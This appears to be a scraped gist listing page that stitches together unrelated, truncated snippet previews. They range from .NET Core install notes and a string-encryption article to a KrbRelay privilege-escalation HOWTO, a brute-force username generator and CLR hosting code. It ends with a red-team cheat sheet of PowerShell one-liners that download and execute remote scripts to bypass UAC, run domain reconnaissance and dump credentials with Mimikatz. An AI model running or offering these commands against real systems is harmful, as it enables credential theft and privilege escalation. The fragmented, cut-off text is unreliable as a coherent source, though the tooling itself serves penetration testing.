Jon Goss jgoosey

Installing .NET Core on Linux ARM64

The following intructions can be used to install .NET Core on Linux ARM64.

Pro tip: Check out .NET Core Docker files to determine the exact instructions for installing .NET Core builds, for example .NET Core 3.1 ARM32 SDK Dockerfile.

Installing .NET Core Globally

The following instructions install the latest .NET Core globally. It isn't required to do that, but it provides the best experience.

Encrypting Strings at Compile Time

Thank you to SpecterOps for supporting this research and to Duane and Matt for proofreading and editing! Crossposted on the SpecterOps Blog.

TLDR: You may use this header file for reliable compile time string encryption without needing any additional dependencies.

Programmers of DRM software, security products, or other sensitive code bases are commonly required to minimize the amount of human readable strings in binary output files. The goal of the minimization is to hinder others from reverse engineering their proprietary technology.

Common approaches that are taken to meet this requirement often add an additional maintenance burden to the developer and are prone to error. These approaches will be presented along with t

KrbRelay with RBCD Privilege Escalation HOWTO

Short HOWTO about one use case of the work from Cube0x0 (KrbRelay) and others.

TL;DR

No-Fix Local Privilege Escalation from low-priviliged domain user to local system on domain-joined computers.

Prerequisites:

LDAP signing not required on Domain Controller (default!)

	#!/usr/bin/env sh

	##
	# This is script with usefull tips taken from:
	# https://github.com/mathiasbynens/dotfiles/blob/master/.osx
	#
	# install it:
	# curl -sL https://raw.github.com/gist/2108403/hack.sh \| sh
	#

	#!/usr/bin/env python3

	'''
	NameMash by superkojiman

	Generate a list of possible usernames from a person's first and last name.

	https://blog.techorganic.com/2011/07/17/creating-a-user-name-list-for-brute-force-attacks/
	'''

	/*

	Ref: http://www.codykonior.com/2015/05/31/how-to-convert-an-sql-login-sid-to-a-readable-string/

	Note that if you're doing this on the output from an Audit Login trace (http://www.safesql.com/2015/06/03/sql-server-security-and-renamed-logins/):

	Remove the first Case When
	Len needs to be replaced with Datalength
	sp.sid replaced with al.LoginSid

	# PowerView's last major overhaul is detailed here: http://www.harmj0y.net/blog/powershell/make-powerview-great-again/
	# tricks for the 'old' PowerView are at https://gist.github.com/HarmJ0y/3328d954607d71362e3c

	# the most up-to-date version of PowerView will always be in the dev branch of PowerSploit:
	# https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1

	# New function naming schema:
	# Verbs:
	# Get : retrieve full raw data sets
	# Find : ‘find’ specific data entries in a data set

	#include "stdafx.h"

	int main()
	{
	ICLRMetaHost *metaHost = NULL;
	IEnumUnknown *runtime = NULL;
	ICLRRuntimeInfo *runtimeInfo = NULL;
	ICLRRuntimeHost *runtimeHost = NULL;
	IUnknown *enumRuntime = NULL;
	LPWSTR frameworkName = NULL;

	# Domain Recon
	## ShareFinder - Look for shares on network and check access under current user context & Log to file
	powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerView/powerview.ps1');Invoke-ShareFinder -CheckShareAccess\|Out-File -FilePath sharefinder.txt"

	## Import PowerView Module
	powershell.exe -exec Bypass -noexit -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1')"

	## Invoke-BloodHound for domain recon
	powershell.exe -exec Bypass -C "IEX(New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Ingestors/SharpHound.ps1');Invoke-BloodHound"

	# Description:
	# Collection of PowerShell one-liners for red teamers and penetration testers to use at various stages of testing.

	# Invoke-BypassUAC and start PowerShell prompt as Administrator [Or replace to run any other command]
	powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/privesc/Invoke-BypassUAC.ps1');Invoke-BypassUAC -Command 'start powershell.exe'"

	# Invoke-Mimikatz: Dump credentials from memory
	powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds"

	# Import Mimikatz Module to run further commands